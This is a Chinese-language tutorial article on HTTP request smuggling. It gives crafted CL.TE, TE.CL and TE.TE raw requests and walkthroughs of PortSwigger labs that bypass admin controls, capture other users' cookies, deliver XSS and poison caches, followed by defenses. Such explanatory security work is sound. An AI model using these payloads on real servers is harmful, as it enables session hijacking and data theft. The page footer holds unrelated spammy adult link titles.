1. 解密協(xié)議層的攻擊——HTTP請求走私

        共 11980字,需瀏覽 24分鐘

         ·

        2021-02-18 21:00


        最近一直在研究一些比較有意思的攻擊方法與思路,在查閱本地文檔的時候(沒錯,本地,我經(jīng)常會將一些有意思的文章但是沒時間看就會被我保存pdf到本地),一篇2019年Black hat的議題——HTTP請求走私,進入我的視野,同時我也查閱到在2020 Blackhat中該攻擊手法再次被分析。我對此產(chǎn)生濃厚學習興趣,于是便有了這篇文章。


        HTTP請求走私是一種HTTP協(xié)議的攻擊利用方法,該攻擊產(chǎn)生的原因在于HTTP代理鏈中HTTP Server的實現(xiàn)中存在不一致的問題。


        • 2004年,@Amit Klein提出HTTP Response Splitting技術,為HTTP Smuggling攻擊雛形;

        • 2005年,第一次被@Watchfire所提出, 并對其進行了詳細介紹;

        • 2016年,DEFCON 24上,@regilero在他的議題——Hiding?Wookiees in HTTP中在對前面報告進行豐富與擴充;

        • 2019年,Blackhat USA上,PortSwigger的@James Kettle在其議題——HTTP DESYNC ATTACKS SMASHING INTO THE CELL NEXT DOOR中對當前網(wǎng)絡環(huán)境進行了分析,同時在其利用上加入chunked技術,對現(xiàn)有攻擊面進行了拓展;

        • 2020年,Blackhat USA上,@Amit Klein在其議題——HTTP Request Smuggling in 2020中最新變種手法進行分析,同時對各類環(huán)境場景下進行了分析。


        HTTP協(xié)議請求走私并不像其他web攻擊手法那么直觀,而是在更加復雜的網(wǎng)絡環(huán)境中,因不同服務器基于不同的RFC標準實現(xiàn)的針對HTTP協(xié)議包的不同處理方式而產(chǎn)生的一種安全風險。


        在對其漏洞進行分析前,首先需要了解目前被廣泛使用的HTTP 1.1協(xié)議特性——Keep-Alive、Pipeline技術。


        簡單來說,在HTTP 1.0及其以前版本的協(xié)議中,在每次進行交互的時候,C/S兩端都需要進行TCP的三次握手鏈接。而如今的web頁面大部分主要還是由大量靜態(tài)資源所組成。如果依然按照HTTP 1.0及其以前版本的協(xié)議設計,會導致服務器大量的負載被浪費。于是在HTTP 1.1中,增加了Keep-Alive、Pipeline技術。


        根據(jù)RFC7230規(guī)范中section-6.3可以得知,HTTP 1.1中默認使用persistent connections方式。其實現(xiàn)手法是在HTTP通信包中加入Connection: Keep-Alive標識:在一次HTTP通信后不會關閉TCP連接,而在后續(xù)相同目標服務器請求中復用該空閑的TCP通道,避免了由于新建TCP連接產(chǎn)生的時延和服務器資源消耗,提升用戶資源訪問速度。


        而在Keep-Alive中后續(xù)又有了Pipeline機制,這樣客戶端就可以像流水線一樣不用等待某個包的響應而持續(xù)的向服務器發(fā)包。而服務器也會遵循先進先出原則對客戶端請求進行響應。



        如圖,我們可以看到相比于no pipelining模式,pipelining模式下服務器在響應時間上有了很大的提升。


        現(xiàn)如今,為了提高用戶瀏覽速度、加強服務穩(wěn)定性、提升使用體驗以及減輕網(wǎng)絡負擔。大部分廠商都會使用CDN加速服務或負載均衡LB等部署業(yè)務。當用戶訪問服務器靜態(tài)資源時,將直接從CDN上獲取詳情,當存在真正服務器交互時,才會與后端服務器產(chǎn)生交互。如圖所示:



        但是,該模式中reverse proxy部分將長期與back-end部分通信,一般情況下這部分連接會重用TCP通道。通俗來說,用戶流量來自四面八方,user端到reverse proxy端通信會建立多條TCP通道,而rever proxy與back-end端通信ip固定,這兩者重用TCP連接通道來通信便順理成章了。


        在這種場景下,當不同服務器實現(xiàn)時參考的RFC標準不同時,我們向reverse proxy發(fā)送一個比較模糊的HTTP請求時,因為reverse proxy與back-end基于不同標準進行解析,可能產(chǎn)生reverse proxy認為該HTTP請求合法,并轉發(fā)到back-end,而back-end只認為部分HTTP請求合法,剩下的多余請求,便就算是夾帶走私的HTTP請求了。當該部分對正常用戶的請求造成了影響之后,就實現(xiàn)了HTTP走私攻擊。如圖所示:深色為正常請求,橙色為走私請求,綠色為正常用戶請求。一起發(fā)包情況下,走私的請求內(nèi)容被拼接到正常請求中。



        分塊傳輸編碼(Chunked transfer encoding)是超文本傳輸協(xié)議(HTTP)中的一種數(shù)據(jù)傳輸機制,允許HTTP的數(shù)據(jù)可以分成多個部分。


        如下圖所示,為jdcloud.com未進行數(shù)據(jù)包進行chunked。



        當對jdcloud.com進行分塊時,如下圖所示。



        注:后續(xù)文章中所提到CL=Content-Length,TE=Transfer-Encoding,如需使用burpsuite進行數(shù)據(jù)包調(diào)試時,需去除Repeater中Update Content-Length選項。


        主要指在GET中設置Content-Length長度,使用body發(fā)送數(shù)據(jù)。當然這里也不僅僅限制與GET請求中,只是GET的理解比較典型,所以我們用在做例子。


        RFC7230 Content-Length部分提到:


        For example, a Content-Length header field is normally sent in a POST request even when the value is 0 (indicating an empty payload body). A user agent SHOULD NOT send a Content-Length header field when the request message does not contain a payload body and the method semantics do not anticipate such a body.


        在最新的RFC7231 4.3.1 GET中也僅僅提了一句:


        A payload within a GET request message has no defined semantics; sending a payload body on a GET request might cause some existing implementations to reject the request.

        ?

        從官方規(guī)范文檔可以了解到:RFC規(guī)范并未嚴格的規(guī)范Server端處理方式,對該類請求的規(guī)范也適當進行了放松,但是也是部分情況。由于這些中間件沒有一個嚴格的標準依據(jù),所以也會產(chǎn)生解析差異導致HTTP Smuggling攻擊。


        • 構造數(shù)據(jù)包


        1GET?/?HTTP/1.1\r\n
        2Host:?example.com\r\n
        3Content-Length:?44\r\n
        4
        5GET?/secret?HTTP/1.1\r\n
        6Host:?example.com\r\n
        7
        \r\n

        <左右滑動以查看完整代碼>


        由于GET請求,服務器將不對Content-Length進行處理,同時因為Pipeline的存在,后端服務器會將該數(shù)據(jù)包視為兩個GET請求。分別為:


        請求——1

        1GET?/?HTTP/1.1\r\n
        2Host:?example.com\r\n

        <左右滑動以查看完整代碼>

        請求——2

        1GET?/secret?HTTP/1.1\r\n
        2Host:?example.com\r\n

        <左右滑動以查看完整代碼>


        這就導致了請求走私。


        在RFC7230的第3.3.3節(jié)中的第四條中,規(guī)定當服務器收到的請求中包含兩個Content-Length,而且兩者的值不同時,需要返回400錯誤。


        If a message is received without Transfer-Encoding and with either multiple Content-Length header fields having differing field-values or a single Content-Length header field having an invalid value, then the message framing is invalid and the recipient MUST treat it as an unrecoverable error. If this is a request message, the server MUST respond with a 400 (Bad Request) status code and then close the connection. If this is a response message received by a proxy, the proxy MUST close the connection to the server, discard the received response, and send a 502 (Bad Fielding & Reschke Standards Track [Page 32] RFC 7230 HTTP/1.1 Message Syntax and Routing June 2014 Gateway) response to the client. If this is a response message received by a user agent, the user agent MUST close the connection to the server and discard the received response.


        但是某些服務器并沒遵循規(guī)范進行實現(xiàn),當服務器未遵循該規(guī)范時,前后服務器都不會響應400??赡茉斐纱矸掌魇褂玫谝粋€Content-Length獲取長度,而后端按照第二個Content-Length獲取長度。


        • 構造數(shù)據(jù)包


        1POST?/?HTTP/1.1\r\n
        2Host:?example.com\r\n
        3Content-Length:?8\r\n
        4Content-Length:?7\r\n
        5
        612345\r\n
        7a

        <左右滑動以查看完整代碼>


        這個時候,當后端服務器接受到數(shù)據(jù)包時,Content-Length長度為7。實際上接受到的body為12345\r\n,而我們前面所提到的,代理服務器會與后端服務器重用TCP通道,這個時候a就會拼接到下一個請求。這個時候如果存在一個用戶發(fā)起GET請求。則該用戶GET請求實際為:


        1aGET?/?HTTP/1.1\r\n
        2Host:?example.com\r\n

        <左右滑動以查看完整代碼>


        同時該用戶也會收到一個類似aGET request method not found的報錯響應,其實這樣就已經(jīng)實現(xiàn)了一次HTTP協(xié)議走私攻擊,對正常用戶造成了影響,而且后續(xù)可以擴展成類似于CSRF的攻擊方式。


        但是兩個Content-Length這種請求包還是太過于理想化了,一般的服務器都不會接受這種存在兩個請求頭的請求包,但是在RFC2616的第4.4節(jié)中,規(guī)定:


        The transfer-length of a message is the length of the message-body as it appears in the message; that is, after any transfer-codings have been applied. When a message-body is included with a message, the transfer-length of that body is determined by one of the following (in order of precedence):

        If a Transfer-Encoding header field (section 14.41) is present and has any value other than "identity", then the transfer-length is defined by use of the "chunked" transfer-coding (section 3.6), unless the message is terminated by closing the connection.


        也就是說,當Content-Length與Transfer-Encoding同時被定義使用時,可忽略Content-Length。也就是說當Transfer-Encoding的加入,兩個Content-Length并不影響代理服務器與后端服務器的響應。


        這里的情況是指代理服務器處理Content-Length,后端服務器會遵守RFC2616的規(guī)定,處理Transfer-Encoding的情況(這里也就是場景2后邊所提到的情況)。


        • 構造數(shù)據(jù)包

         1POST?/?HTTP/1.1\r\n
        2Host:?example.com\r\n
        3User-Agent:?Mozilla/5.0?(Macintosh;?Intel?Mac?OS?X?10.14;?rv:56.0)?Gecko/20100101?Firefox/56.0\r\n
        4Accept:?text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
        5Accept-Language:?en-US,en;q=0.5\r\n
        6Connection:?keep-alive\r\n
        7Content-Length:?6\r\n
        8Transfer-Encoding:?chunked\r\n
        9\r\n
        100\r\n
        11\r\n
        12G

        <左右滑動以查看完整代碼>


        • 因前后服務器規(guī)范不同,解析如下:


        請求——1 (代理服務器的解析)


         1POST?/?HTTP/1.1\r\n
        2Host:?example.com\r\n
        3User-Agent:?Mozilla/5.0?(Macintosh;?Intel?Mac?OS?X?10.14;?rv:56.0)?Gecko/20100101?Firefox/56.0\r\n
        4Accept:?text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
        5Accept-Language:?en-US,en;q=0.5\r\n
        6Connection:?keep-alive\r\n
        7Content-Length:?6\r\n
        8Transfer-Encoding:?chunked\r\n
        9\r\n
        100\r\n
        11\r\n
        12G

        <左右滑動以查看完整代碼>


        請求——2 (代理服務器的解析)

        G


        其中G被留在緩存區(qū)中,當無其他用戶請求時候,該數(shù)據(jù)包會不會產(chǎn)生解析問題,但TCP重用情況,當一個正常請求過來時候。將出現(xiàn)如下情況:


        1GPOST?/?HTTP/1.1\r\n
        2Host:?example.com\r\n
        3....

        <左右滑動以查看完整代碼>


        這個時候HTTP包,再一次通過TCP通道進行走私。


        即代理服務器處理Transfer-Encoding請求,后端服務器處理Content-Length請求。


        • 構造數(shù)據(jù)包

         1POST?/?HTTP/1.1\r\n
        2Host:?example.com\r\n
        3User-Agent:?Mozilla/5.0?(Macintosh;?Intel?Mac?OS?X?10.14;?rv:56.0)?Gecko/20100101?Firefox/56.0\r\n
        4Accept:?text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
        5Accept-Language:?en-US,en;q=0.5\r\n
        6Content-Length:?4\r\n
        7Transfer-Encoding:?chunked\r\n
        8\r\n
        912\r\n
        10GPOST?/?HTTP/1.1\r\n
        11\r\n
        120\r\n
        13\r\n

        <左右滑動以查看完整代碼>


        由于Transfer-Encoding遇到0\r\n\r\n才結束解析。此時后端將解析Content-Length,真正到達后端數(shù)據(jù)將為:


        1POST?/?HTTP/1.1\r\n
        2Host:?example.com\r\n
        3User-Agent:?Mozilla/5.0?(Macintosh;?Intel?Mac?OS?X?10.14;?rv:56.0)?Gecko/20100101?Firefox/56.0\r\n
        4Accept:?text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
        5Accept-Language:?en-US,en;q=0.5\r\n
        6Content-Length:?4\r\n
        7\r\n
        812\r\n

        <左右滑動以查看完整代碼>


        同時將出現(xiàn)第二個數(shù)據(jù)包:


        1GPOST?/?HTTP/1.1\r\n
        2\r\n
        30\r\n
        4\r\n

        <左右滑動以查看完整代碼>



        當收到存在兩個請求頭的請求包時,前后端服務器都處理Transfer-Encoding請求頭,這確實是實現(xiàn)了RFC的標準。不過前后端服務器畢竟不是同一種,這就有了一種方法,我們可以對發(fā)送的請求包中的Transfer-Encoding進行某種混淆操作(這里主要指Content-Length),從而使其中一個服務器不處理Transfer-Encoding請求頭。從某種意義上還是CL-TE或者TE-CL。


        • 構造數(shù)據(jù)包

         1POST?/?HTTP/1.1\r\n
        2Host:?example.com\r\n
        3User-Agent:?Mozilla/5.0?(Macintosh;?Intel?Mac?OS?X?10.14;?rv:56.0)?Gecko/20100101?Firefox/56.0\r\n
        4Accept:?text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
        5Content-length:?4\r\n
        6Transfer-Encoding:?chunked\r\n
        7Transfer-encoding:?cow\r\n
        8\r\n
        95c\r\n
        10GPOST?/?HTTP/1.1\r\n
        11Content-Type:?application/x-www-form-urlencoded\r\n
        12Content-Length:?15\r\n
        13\r\n
        14x=1\r\n
        150\r\n
        16\r\n

        <左右滑動以查看完整代碼>


        使用PortSwigger的實驗環(huán)境環(huán)境進行實際攻擊演示。


        *靶場鏈接:

        https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-cl-te


        This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding. There's an admin panel at /admin, but the front-end server blocks access to it.

        To solve the lab, smuggle a request to the back-end server that accesses the admin panel and deletes the user carlos.


        實驗目的:訪問admin頁,并利用認證對carlos用戶進行刪除。

        • SETP 1、因直接訪問/admin目錄被提示攔截,同時題目提示CL.TE。這里通過構造CL.TE格式數(shù)據(jù)包,嘗試訪問。/admin路由。



        • SETP 2、訪問提示管理員界面只允許為本地用戶訪問,嘗試直接訪問localhost,并獲取到刪除用戶路由地址。



        • SETP 3、通過構造請求訪問即可,最終再次訪問/admin顯示頁面已經(jīng)沒有刪除carlos用戶選項。



        *鏈接:

        https://portswigger.net/web-security/request-smuggling/exploiting/lab-reveal-front-end-request-rewriting


        This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding.

        There's an admin panel at /admin, but it's only accessible to people with the IP address 127.0.0.1. The front-end server adds an HTTP header to incoming requests containing their IP address. It's similar to the X-Forwarded-For?header but has a different name.

        To solve the lab, smuggle a request to the back-end server that reveals the header that is added by the front-end server. Then smuggle a request to the back-end server that includes the added header, accesses the admin panel, and deletes the user carlos.


        實驗目的同上,不過這里在前端服務器做了限制。不支持chunked。同時前端到后端做了檢查,在headers中自定義了一個類似于X-Forwarded-For的頭。


        • SETP1、通過頁面search處直接構造走私數(shù)據(jù)包,在頁面返回中間服務器到后端服務器數(shù)據(jù)包內(nèi)容(走私數(shù)據(jù)包長度當前為200,若實際場景中顯示不全則可通過增加CL長度解決),獲取到X-uNiqsg-Ip頭。同時,這里之所以選擇search處,主要是因為該處在頁面存在輸出。



        • SETP2、通過偽造同樣請求發(fā)包即可。



        *鏈接:

        https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests


        This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding.

        To solve the lab, smuggle a request to the back-end server that causes the next user's request to be stored in the application. Then retrieve the next user's request and use the victim user's cookies to access their account.


        實驗目的:通過寫頁面的方式,獲取下一個請求數(shù)據(jù)包中cookie數(shù)據(jù)。

        • SETP1、發(fā)現(xiàn)post?postId=路由下存在寫頁面操作,通過修改數(shù)據(jù)包。



        • SETP2、訪問當前頁面查看website處即可獲取到下一個請求包的數(shù)據(jù)。(這里同樣也可以控制下一個請求包數(shù)據(jù)在評論區(qū),只需將最后一個評論參數(shù)comment放至最后即可)



        *鏈接:

        https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss


        This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding.

        The application is also vulnerable to reflected XSS?via the User-Agent?header.

        To solve the lab, smuggle a request to the back-end server that causes the next user's request to receive a response containing an XSS exploit that executes alert(1).


        應用場景:當業(yè)務存在反射型XSS時,可通過緩存投毒的方式在其他用戶頁面寫入臟數(shù)據(jù)。

        SETP1、 進入任意評論區(qū)發(fā)現(xiàn)頁面存在userAgent回顯,通過走私協(xié)議修改userAgent即可。



        *鏈接:

        https://portswigger.net/web-security/request-smuggling/exploiting/lab-perform-web-cache-poisoning


        This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding. The front-end server is configured to cache certain responses.

        To solve the lab, perform a request smuggling?attack that causes the cache to be poisoned, such that a subsequent request for a JavaScript file receives a redirection to the exploit server. The poisoned cache should alert document.cookie.


        應用場景:劫持下一用戶請求頁面。(實際場景中可劫持跳轉至釣魚等頁面)


        • SETP1、緩存注入修改Host為惡意請求。



        從前面的案例我們可以看到HTTP請求走私的危害性,那么如何防御呢?


        • 禁用代理服務器與后端服務器之間的TCP連接重用。

        • 使用HTTP/2協(xié)議。

        • 前后端使用相同的服務器。


        但是這些修復方法又存在一些現(xiàn)實困難:


        • HTTP/2推行過于困難,盡管HTTP/2兼容HTTP/1.1。

        • 取消TCP重用將增大服務器負載,服務器資源吃不消。

        • 使用相同的服務器,在一些廠商其實也很難實現(xiàn)。其主要原因還是前后端實現(xiàn)標準不一致的問題。


        那么沒有解決方案了嘛?


        其實不然,上云就是個很好的方案。云主機、CDN、WAF都統(tǒng)一實現(xiàn)編碼規(guī)范,可以很好地避免該類問題的產(chǎn)生。


        *https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf

        *https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn

        *https://regilero.github.io/english/security/2019/10/17/securityapachetrafficserverhttp_smuggling/

        *https://paper.seebug.org/1048

        *https://tools.ietf.org/html/rfc2616

        *http://blog.zeddyu.info/2019/12/05/HTTP-Smuggling/

        *https://tools.ietf.org/html/rfc7230

        *https://tools.ietf.org/html/rfc7231




        瀏覽 154
        點贊
        評論
        收藏
        分享

        手機掃一掃分享

        分享
        舉報
        評論
        圖片
        表情
        推薦
        點贊
        評論
        收藏
        分享

        手機掃一掃分享

        分享
        舉報
          
          

            1. 99热3 | 91老熟女| 国产三级网址 | 日韩精品一区二区三区四虎视频 | 99热黄色 |